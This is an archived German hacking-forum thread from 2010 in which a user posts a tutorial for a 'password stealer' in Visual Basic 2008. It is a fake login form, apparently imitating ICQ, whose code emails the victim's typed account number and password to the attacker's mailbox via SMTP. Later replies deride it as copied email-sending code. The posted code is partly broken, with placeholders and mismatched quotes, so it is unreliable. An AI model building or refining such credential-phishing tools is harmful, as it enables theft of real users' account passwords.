PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : [How to make] Visual Basic 2008 Stealer



S3KT0R
17.02.2010, 21:43
Hallo liebe Free - Hack Community.

In diesem Thread möchte ich euch gerne zeigen wie ihr einen
Passwort Stealer in Visual Basic 2008 machen könnt. Der Stealer
werden wir so machen, das ihr eine E-Mail geschickt bekommt
mit den Daten die euer Opfer in die beiden Textboxen eingegeben hat.
Was ihr braucht:

1x Button
2x TextBox
2x Label´s

----------------------------------------------------------------------------
Schritt 1 - Vorbereitung
--------------------------------------------------------------------------

Ihr erstellt eine neue Form. Dafür braucht ihr denke ich mal
keinen Screen oder eine Beschreibung xD. Danach zieht
ihr den Button + Labels & die 2 TextBoxen in die Form und legt
sie euch zu Recht wie es euch gefällt.
Ihr beschriftet den Button und die Labels um.
Macht alles so bis es euch gefällt. Und dann gehts auch schon
zum Coding.

----------------------------------------------------------------------------
Schritt 2 - Das Coding
--------------------------------------------------------------------------

Ihr macht einfach einen Doppelklick auf den Button und Importiert erstmals
2 Dinge die ihr über "Public Class Form1" eingebt:

Imports System.Net.Mail
Imports System.Net

Dann weiter unten unter "Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click"

Gebt ihr Folgendes ein:
( bei "text = "ICQ nr:" etc. Soll das stehen was in der E-Mail stehen soll. Wenn
da zB steht "E-Mail: " dann wird in der Mail die ihr bekommt erst "E-Mail" stehen,
bevor das da steht was man in der Textbox1 eingibt. )

Hoffe das war verständlich xD wenn nicht Fragt nochmal nach


Dim text As String
text = "ICQ Nr: " & TextBox1.Text & " PW: " & TextBox2.Text + vbLf
If TextBox1.Text = "" And TextBox2.Text = "" Then
MsgBox("Der text der erscheinen soll, sobald man auf den Button drückt, aber nichts in der Textbox steht.", MsgBoxStyle.Critical)
Else
Dim myClient As New Net.Mail.SmtpClient(smtp zb "smtp.web/gmx etc..de")
myClient.Credentials = New NetworkCredential("Eure E-Mail", "Euer PW")
myClient.Send("Von wehm die E-Mail ist", Eure E-Mail, Eure E-Mail", "der betreff der E-Mail", text)
End If

Ich hab den Code ein bisschen umgeschrieben damit er ( wenn ihr ihn versteht )
besser verstehen könnt.
Jetzt könnt ihr ihn testen.
Schreibt was in die textboxen, Checkt eure E-Mail´s & Freut euch xD

Ich hoffe der Code und meine Erklärung waren einigermarßen
Verständlich. Falls jemand Fragen haben sollte zum Code
oder sonstigem, möge er es bitte sagen xD

MfG ~S3KT0R

Slawa
17.02.2010, 21:57
Jo, danke für den Tutorial, ist eigentlich ne ganz simple Sache hier.

Gruß

Slawa

DarkFire
17.02.2010, 22:02
Warte warte warte.... auf der Verpackung steht "Stealer" ab es ist keiner drin :O

Das ist eher ein Tut in dem gezeigt wird wie man E-Mails verschickt, also solltest du das auch in die Überschrift schreiben.

Ansonsten ist es natürlich toll das du ein Tutorial geschrieben hast! ;)

Th3_Cr4xX
17.02.2010, 22:05
Das ist eig. ja nur die EmailSend funktion (kopiert) und sonst ein ICQ Fake Login mit der ToolBar gestyled wenn ich das richtig sehe?!

Also finde das nicht gerade hilfreich zum Lernen.


2 Dinge die ihr über "Public Class Form1" eingebt:
Weißt offenbar selbst nicht was du da mal kopiert hast, also bischen nachdenken plz was du hier reinpostest...

blackberry
17.02.2010, 22:07
Das ist eher ein Tut in dem [...]

Warte! Warte! Warte!

Ein Tutorial ist das ja auch nicht.
Eher ein WTCP-ial ("What to Copy&Paste"-ial).